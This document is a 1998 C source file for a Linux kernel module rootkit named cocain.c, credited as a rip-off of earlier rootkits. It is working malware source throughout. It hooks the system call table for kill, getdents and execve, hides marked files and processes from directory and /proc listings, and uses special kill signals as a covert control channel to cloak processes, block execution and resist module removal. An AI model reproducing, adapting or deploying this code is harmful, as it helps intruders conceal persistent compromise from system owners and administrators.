/*
 * cocain.c, by pmsac@toxyn.org, 1998
 *
 * Just another ripp off from:
 * - heroin.c, by Runar Jensen, zarq@opaque.org, 1998(?), from BugTraq
 * - itf.c v0.8, by plaguez, dube0866@eurobretagne.fr, 1997, from Phrack52
 *
 * gcc -Wall -O3 -fomit-frame-pointer -c cocain.c
 */

#define MODULE
#define __KERNEL__
#define VERSION_COUNT sn199807290332

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <sys/syscall.h>

#define HIDEMESTR " pm "
#define PF__INVISIBLE 0x80000000
#define PF__NINVISIBLE 0x7fffffff
#define PF__EXECDENY 0x40000000
#define PF__NEXECDENY 0xbfffffff

#define PID 0
#define SIGSANE 31
#define SIGDEBUG 12
#define SIGCOUNT 10
#define SIGFLAGS 0
#define SIGEXECDENY 31
#define SIGINVISIBLE 0

extern void *sys_call_table[];

int errno;
int VERSION_COUNT = 0;
int debug = 0;
int __NR_myexecve;


int (*oldKill)(pid_t, int);
int (*oldGetdents)(unsigned int, struct dirent *, unsigned int);
int (*oldExecve)(const char *, const char *[], const char *[]);
void cleanup_module(void);

#define DEBUG(X); if (debug) printk(X);
#define DEBUG4(X,Y,Z,W); if (debug) printk(X,Y,Z,W);

int myatoi(char *str) {
int ret = 0;
int mul = 1;
char *ptr;

	for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
		if (*ptr < '0' || *ptr > '9')
			return (-1);
		ret += (*ptr - '0') * mul;
		mul *= 10;
	}
	return(ret);
}

struct task_struct *find_task(pid_t pid) {
struct task_struct *task = current;

	do {
		if (task->pid == pid)
			return (task);
		task = task->next_task;
	} while(task != current);
        return(NULL);
}

void showTasksFlags() {
struct task_struct *task = current;
static char *flagsStr[] = { "--", "i-", "-x", "ix" };
int flags;

	do {
		flags = 0;
		if (task->flags & PF__INVISIBLE)
			flags += 1;
		if (task->flags & PF__EXECDENY)
			flags += 2;
		if (flags) {
			DEBUG4("-> %s %s/%i\n",flagsStr[flags],task->comm,task->pid);
		}
		task = task->next_task;
	} while(task != current);
}

static inline char *task_name(struct task_struct *p, char *buf) {
int i;
char *name;

	name = p->comm;
	i = sizeof(p->comm);
	do {
		unsigned char c = *name;
		name++;
		i--;
		*buf = c;
		if (!c)
			break;
		if (c == '\\') {
			buf[1] = c;
			buf += 2;
			continue;
		}
		if (c == '\n') {
			buf[0] = '\\';
			buf[1] = 'n';
			buf += 2;
			continue;
		}
		buf++;
	} while (i);
	*buf = '\n';
	return buf + 1;
}

int invisible(pid_t pid) {
struct task_struct *task;
char *buffer;

	if ((task = find_task(pid)) == NULL)
		return(0);
	if (task->flags & PF__INVISIBLE)
		return(1);
	else {
		buffer = kmalloc(200, GFP_KERNEL);
		memset(buffer, 0, 200);
		task_name(task, buffer);
		if (strstr(buffer, HIDEMESTR)) {
			kfree(buffer);
			return 1;
		}

	}
	return(0);
}

int newKill(pid_t pid, int sig) {
int ret;
struct task_struct *task = current;

	DEBUG("newKill()\n");
	
	if ((sig != SIGINVISIBLE) &&
	    (sig != SIGEXECDENY) &&
	    ((pid != PID) ||
	     ((sig != SIGCOUNT) &&
	      (sig != SIGDEBUG) &&
	      (sig != SIGFLAGS) &&
	      (sig != SIGSANE)))) {
	    	DEBUG("-> oldKill()...\n");
		ret = (*oldKill)(pid, sig);
		if (ret == -1)
                        return (-errno);
		return(ret);
	}
	if (pid != PID) {
		if (sig == SIGINVISIBLE) {
			DEBUG("-> Got invisible signal...\n");
			if ((task = find_task(pid)) == NULL) {
				DEBUG("-> Returning -ESRCH...\n");
				return(-ESRCH);
			}
			if (current->uid && current->euid) {
				DEBUG("-> Returning -EPERM...\n");
				return(-EPERM);
			}
			if ((task->flags & PF__INVISIBLE) ^ PF__INVISIBLE) {
				DEBUG("-> Cloaking...\n");
				task->flags |= PF__INVISIBLE;
			}
			else {
				DEBUG("-> Decloaking...\n");
				task->flags &= PF__NINVISIBLE;
			}
		}
		if (sig == SIGEXECDENY) {
			DEBUG("-> Got execdeny signal...\n");
			if ((task = find_task(pid)) == NULL) {
				DEBUG("-> Returning -ESRCH...\n");
				return(-ESRCH);
			}
			if (current->uid && current->euid) {
				DEBUG("-> Returning -EPERM...\n");
				return(-EPERM);
			}
			if ((task->flags & PF__EXECDENY) ^ PF__EXECDENY) {
				DEBUG("-> Execdeny on...\n");
				task->flags |= PF__EXECDENY;
			}
			else {
				DEBUG("-> Execdeny off...\n");
				task->flags &= PF__NEXECDENY;
			}
		}
	}
	else {
		if (sig == SIGFLAGS) {
			DEBUG("-> Showing flags...\n");
			showTasksFlags();
		}
		if (sig == SIGCOUNT) {
			DEBUG("-> Toggling usage count...\n");
			VERSION_COUNT ^= 1;
			if (VERSION_COUNT)
				MOD_INC_USE_COUNT;
			else
				MOD_DEC_USE_COUNT;
		}
		if (sig == SIGDEBUG) {
			DEBUG("-> Toggling debugging...\n");
			debug ^= 1;
		}
		if (sig == SIGSANE) {
			DEBUG("-> Sanitizing module, pls remove by hand...\n");
			while (VERSION_COUNT != 0) {
				MOD_DEC_USE_COUNT;
				VERSION_COUNT--;
			}
		cleanup_module();
		}
	}

	DEBUG("-> Returning...\n");
        return(0);
}

int newGetdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
unsigned int ret;
int procfs = 0;
struct inode *dinode;
struct dirent *ourDirp;
int left, removed = 0;
char *ptr;
struct dirent *curr;

	DEBUG("newGetdents()\n");

	DEBUG("-> oldGetdents()...\n");
	ret = (*oldGetdents)(fd, dirp, count);

#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

	if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
	    MINOR(dinode->i_dev) == 1) {
	    	DEBUG("-> Proc fs...\n");
		procfs = 1;
	}
	else {
		DEBUG("-> Not proc fs...\n");
	}
	
	if (ret > 0) {
		DEBUG("-> Allocating kernel space...\n");
		ourDirp = (struct dirent *) kmalloc(ret, GFP_KERNEL);
		DEBUG("-> Copying to kernel space...\n");
		memcpy_fromfs(ourDirp, dirp, ret);
		
		ptr = (char *)ourDirp;
		left = ret;
	        while(ptr < (char *)ourDirp + ret) {
        	        curr = (struct dirent *)ptr;
	                if (curr->d_reclen == 0) {
	                	ret -= left;
	                	break;
	                }
			if (strstr((char *)&curr->d_name, HIDEMESTR) ||
			    (procfs && invisible(myatoi(curr->d_name)))) {
       	                        ret -= curr->d_reclen;
       	                        left -= curr->d_reclen;
       	                        removed += curr->d_reclen;
               	                memmove(ptr, ptr + curr->d_reclen, left);
               	                curr->d_off -= removed;
                       	        continue;
	                }
	                left -= curr->d_reclen;
	                ptr += curr->d_reclen;
        	}
		
		DEBUG("-> Copying to user space...\n");
		memcpy_tofs(dirp, ourDirp, ret);
		DEBUG("-> Deallocating kernel space...\n");
		kfree(ourDirp);
	}
	
	DEBUG("-> Returning...\n");
	return ret;
}

int cryptic_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
	__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
	return (int) __res;
}

int newExecve(const char *bin, const char *argv[], const char *envp[]) {
int ret;

	DEBUG("newExecve()\n");
	
	DEBUG("-> Checking execdeny...\n");
	if ((current->flags & PF__EXECDENY) ^ PF__EXECDENY) {
		DEBUG("-> oldExecve()...\n");
		ret = (*cryptic_execve)(bin, argv, envp);
		return (ret);
	}
	else {
		DEBUG("-> Returning -EPERM...\n");
		return(-EPERM);
	}

	DEBUG("-> Returning...\n");
        return(0);

}

int init_module(void) {

	DEBUG("init_module()\n");
	
	DEBUG("-> Replacing kill()...\n");
	oldKill = sys_call_table[SYS_kill];
	sys_call_table[SYS_kill] = newKill;

	DEBUG("-> Replacing getdents()...\n");
	oldGetdents = sys_call_table[SYS_getdents];
	sys_call_table[SYS_getdents] = newGetdents;

	DEBUG("-> Replacing execve()...\n");
	__NR_myexecve = 164;
	while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
		__NR_myexecve--;
	oldExecve = sys_call_table[SYS_execve];
	if (__NR_myexecve != 0) {
		sys_call_table[__NR_myexecve] = oldExecve;
		sys_call_table[SYS_execve] = newExecve;
	}
	
	DEBUG("-> Returning...\n");
	return 0;
}

void cleanup_module(void) {

	DEBUG("cleanup_module()\n");
	
	DEBUG("-> Restoring kill()...\n");
	sys_call_table[SYS_kill] = oldKill;
	
	DEBUG("-> Restoring getdents()...\n");
	sys_call_table[SYS_getdents] = oldGetdents;

	DEBUG("-> Restoring execve()...\n");
	sys_call_table[SYS_execve] = oldExecve;
	DEBUG("-> Restoring __NR_myexecve...\n");
	if (__NR_myexecve != 0)
		sys_call_table[__NR_myexecve] = 0;
	DEBUG("-> Returning\n");
}
